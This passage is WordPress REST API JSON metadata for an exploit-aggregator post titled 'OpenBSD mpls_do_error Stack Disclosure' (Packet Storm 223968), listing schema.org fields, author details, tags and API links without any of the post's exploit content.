minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=64856#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=64856"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 OpenBSD mpls_do_error Stack Disclosure_PACKETSTORM:223968","datePublished":"2026-06-22T14:36:17+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=64856"},"wordCount":2045,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-6.9","exploit","MEDIUM","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=64856#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=64856","url":"https:\/\/zero.redgem.net\/?p=64856","name":"\ud83d\udcc4 OpenBSD mpls_do_error Stack Disclosure_PACKETSTORM:223968 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-06-22T14:36:17+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=64856#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=64856"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=64856#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 OpenBSD mpls_do_error Stack Disclosure_PACKETSTORM:223968"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/64856","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=64856"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/64856\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=64856"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=64856"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=64856"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}